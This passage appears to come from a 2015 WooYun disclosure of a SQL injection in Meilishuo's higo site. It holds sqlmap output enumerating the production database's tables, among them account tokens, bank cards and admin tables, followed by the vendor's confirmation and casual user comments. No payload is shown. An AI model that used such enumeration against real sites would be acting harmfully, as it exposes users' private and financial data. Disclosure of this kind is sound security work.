[08:12:46] [INFO] resumed: 2
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 138
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 734054
[08:12:46] [INFO] resumed: 402593
[08:12:46] [INFO] resumed: 271362
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 17
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 181
[08:12:46] [INFO] resumed: 2270
[08:12:46] [INFO] resumed: 1019
[08:12:46] [INFO] resumed: 1126
[08:12:46] [INFO] resumed: 906
[08:12:46] [INFO] resumed: 2555
[08:12:46] [INFO] resumed: 140
[08:12:46] [INFO] resumed: 895
[08:12:46] [INFO] resumed: 2
[08:12:46] [INFO] resumed: 40011
[08:12:46] [INFO] resumed: 5
[08:12:46] [INFO] resumed: 56463
[08:12:46] [INFO] resumed: 4200
[08:12:46] [INFO] resumed: 1090107
[08:12:46] [INFO] resumed: 282
[08:12:46] [INFO] resumed: 2112
[08:12:46] [INFO] resumed: 92
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 826
[08:12:46] [INFO] resumed: 1241
[08:12:46] [INFO] resumed: 41
[08:12:46] [INFO] resumed: 102
[08:12:46] [INFO] resumed: 3
[08:12:46] [INFO] resumed: 0
[08:12:46] [INFO] resumed: 3
[08:12:46] [INFO] resumed: 606
[08:12:46] [INFO] resumed: 3
[08:12:46] [INFO] resumed: 2428
[08:12:46] [INFO] resumed: 139857
[08:12:46] [INFO] resumed: 15
[08:12:46] [INFO] resumed: 2271
[08:12:46] [INFO] resumed: 39
[08:12:46] [INFO] resumed: 55
[08:12:46] [INFO] resumed: 686
[08:12:46] [INFO] resumed: 11901
[08:12:46] [INFO] resumed: 10
[08:12:46] [INFO] resumed: 85876
[08:12:46] [INFO] resumed: 17
Database: higo
+------------------------------------+---------+
| Table                              | Entries |
+------------------------------------+---------+
| t_pandora_favorite                 | 5783893 |
| t_pandora_statistics               | 4468950 |
| t_pandora_coupon                   | 1090107 |
| t_pandora_xmpp_message             | 734054  |
| t_pandora_image                    | 622056  |
| TBL_ADMIN_LOG                      | 512125  |
| tbl_admin_newlogs                  | 474891  |
| t_pandora_basic_goods_statistics   | 402593  |
| t_pandora_account                  | 273487  |
| t_pandora_account_token            | 271362  |
| t_pandora_buyer                    | 270143  |
| t_pandora_xmpp_users               | 231484  |
| t_pandora_account_connect          | 219037  |
| t_pandora_push_device              | 168262  |
| t_pandora_express_tracking         | 139857  |
| t_pandora_friends                  | 124990  |
| t_pandora_goods_sku                | 85876   |
| t_pandora_search_keywords          | 56463   |
| t_pandora_goods                    | 48382   |
| t_pandora_order_item               | 41737   |
| t_pandora_address                  | 41179   |
| t_pandora_order_pay                | 40011   |
| t_pandora_order_pay_ref            | 39134   |
| t_pandora_pay_receipt_record       | 38882   |
| t_pandora_coupon_collectlog        | 36175   |
| t_pandora_order_express            | 33249   |
| t_pandora_order                    | 33214   |
| t_pandora_order_pay_confirm        | 14648   |
| t_pandora_bill_balance             | 12920   |
| t_pandora_settlement_item          | 11901   |
| t_pandora_order_receivepush        | 10628   |
| t_pandora_report_event_shop_goods  | 9613    |
| t_pandora_syn_goods_img            | 8822    |
| t_pandora_basic_events_statistics  | 5956    |
| t_pandora_brand                    | 5343    |
| t_pandora_syn_goods_sku            | 4342    |
| t_pandora_buyer_recruitment        | 4200    |
| t_pandora_settlement               | 3908    |
| t_pandora_order_operation          | 3678    |
| t_pandora_shop                     | 3396    |
| t_pandora_wap_click_goods          | 2555    |
| t_pandora_shop_show                | 2496    |
| t_pandora_bill_withdraw            | 2484    |
| t_pandora_event_goods              | 2428    |
| t_pandora_invite_simple            | 2271    |
| t_pandora_mls_goods_prop           | 2270    |
| t_pandora_account_group            | 2142    |
| t_pandora_syn_goods                | 2112    |
| t_pandora_weixin_answer_rank       | 2094    |
| t_pandora_temporary_users          | 2001    |
| t_pandora_order_revoke             | 1750    |
| t_pandora_dimension_shop           | 1498    |
| t_pandora_sales_goods              | 1251    |
| t_pandora_product_collocation_data | 1241    |
| t_pandora_mls_goods                | 1136    |
| t_pandora_mls_order                | 1127    |
| t_pandora_mls_higo_order           | 1126    |
| t_pandora_mls_order_freight        | 1126    |
| t_pandora_mls_user_info            | 1126    |
| t_pandora_account_group_notice     | 1019    |
| t_pandora_account_group_expansion  | 1001    |
| p_logs                             | 906     |
| ouid                               | 895     |
| t_pandora_account_bankcard_history | 831     |
| t_pandora_report_event_shop        | 826     |
| t_pandora_buyersdb                 | 795     |
| t_pandora_sales_statistics         | 765     |
| t_pandora_mls_address              | 686     |
| user_no_nick                       | 671     |
| t_pandora_account_bankcard         | 641     |
| t_pandora_coupon_usedlog           | 606     |
| t_pandora_show_tag                 | 450     |
| t_pandora_product_collocation      | 443     |
| push_log                           | 424     |
| t_pandora_events                   | 344     |
| t_pandora_report_log               | 298     |
| TBL_ADMIN_FUNCTION                 | 290     |
| t_pandora_bill_summary             | 282     |
| t_pandora_welfare_log              | 270     |
| t_pandora_top_keywords             | 202     |
| t_pandora_goods_keywords           | 191     |
| t_pandora_country_code             | 186     |
| t_pandora_order_remark             | 181     |
| t_pandora_totalgmv                 | 168     |
| t_pandora_color                    | 140     |
| t_pandora_event_show_goods         | 138     |
| t_pandora_group_keywords           | 135     |
| t_pandora_category_material        | 124     |
| t_pandora_events_expic             | 115     |
| t_pandora_welfare                  | 110     |
| t_pandora_goods_seckill            | 109     |
| t_pandora_coupon_goods             | 102     |
| t_pandora_category_size            | 94      |
| t_pandora_weixin_answer_recommend  | 92      |
| t_pandora_category                 | 89      |
| t_pandora_event_show               | 76      |
| t_pandora_wap_stat                 | 76      |
| t_pandora_eventgmv                 | 73      |
| t_pandora_order_rapid              | 68      |
| t_pandora_final_wap_statistics     | 55      |
| t_pandora_express_company          | 53      |
| t_pandora_group_banner             | 41      |
| t_pandora_silence                  | 41      |
| TBL_ADMINS                         | 39      |
| t_pandora_home_banner              | 33      |
| t_pandora_coupon_statistics        | 32      |
| t_pandora_order_vipsettle          | 27      |
| t_pandora_shop_alliance            | 26      |
| t_pandora_shop_vip                 | 25      |
| t_pandora_material                 | 23      |
| t_pandora_wap_statistics           | 19      |
| t_pandora_brand_goods              | 18      |
| t_pandora_report_event             | 18      |
| t_pandora_order_refund_pay         | 17      |
| t_pandora_shop_change              | 17      |
| t_pandora_bank                     | 15      |
| t_pandora_id_wrapper               | 13      |
| t_pandora_recommend_category       | 11      |
| TBL_ADMIN_FUNCTION_CAT             | 11      |
| t_pandora_dimension                | 10      |
| t_pandora_login_tips               | 10      |
| t_pandora_coupon_batch             | 8       |
| t_pandora_hot_keywords             | 7       |
| t_pandora_currency                 | 6       |
| t_pandora_order_refund             | 6       |
| t_pandora_fairy_log                | 5       |
| t_pandora_sphinx_counter           | 5       |
| t_pandora_goods_tag                | 3       |
| t_pandora_order_return             | 3       |
| t_pandora_order_return_log         | 3       |
| t_pandora_abroad_shop              | 2       |
| t_pandora_goods_limitation         | 2       |
| t_pandora_inviter                  | 2       |
| t_pandora_category_whitelist       | 1       |
| t_pandora_fairy_log_failure        | 1       |
| t_pandora_video                    | 1       |
+------------------------------------+---------+
[08:12:47] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occ
[08:12:47] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\higo.meilishuo.com'

修复方案：

你好，美丽说！

版权声明：转载请注明来源 蛋蛋侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-05-15 10:54

厂商回复：

非常感谢您对美丽说安全的关注，经验证该漏洞真实存在，已联系业务部门紧急修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-15 10:12 | prolog ( 普通白帽子 | Rank:544 漏洞数:107 | 低调求发展)

    最不喜欢动不动就问厂商要礼物的~ 靠！ 他实在不给你就使劲提交漏洞！！

  2. 2015-05-15 10:13 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    @撸撸侠 @管管侠 他是谁？？？ @蛋蛋侠

  3. 2015-05-15 10:26 | 动感超人 ( 实习白帽子 | Rank:42 漏洞数:10 | 小心动感光波)

    三位一体的神技？？？@撸撸侠@管管侠@蛋蛋侠合体吧，变身丧尸暴龙兽

  4. 2015-05-15 10:46 | 放开那个漏洞,让我来 ( 路人 | Rank:20 漏洞数:2 | 正在尝试加载简介中.........)

    最不喜欢动不动就问厂商要礼物的~ 靠！ 他实在不给你就使劲提交漏洞！！

  5. 2015-05-15 11:14 | 管管侠 ( 核心白帽子 | Rank:1368 漏洞数:108 | 休息几日，让你们先装会！！！)

    @’‘Nome 应该还有 疼疼侠 砸砸侠 什么的

  6. 2015-05-15 11:15 | 管管侠 ( 核心白帽子 | Rank:1368 漏洞数:108 | 休息几日，让你们先装会！！！)

    扯扯侠

  7. 2015-05-15 11:33 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 ！！！)

    蛋蛋侠的描述是：我只是一个蛋，那么管管侠的描述应该是什么？

  8. 2015-05-15 12:09 | 北丐 ( 普通白帽子 | Rank:104 漏洞数:20 | )

    洞主，他给你礼物没有

  9. 2015-07-14 19:50 | 一只船北街 ( 普通白帽子 | Rank:418 漏洞数:60 | 闭馆研习技术中...)

    Boolean based, 弄出这么多数据，你一定是很“使劲”

  10. 2015-07-16 14:47 | 蛋蛋侠 ( 普通白帽子 | Rank:100 漏洞数:13 | 我是一只蛋)

    @北丐 至今没收到礼物

  11. 2015-07-16 14:50 | 北丐 ( 普通白帽子 | Rank:104 漏洞数:20 | )

    @蛋蛋侠 美丽说坑爹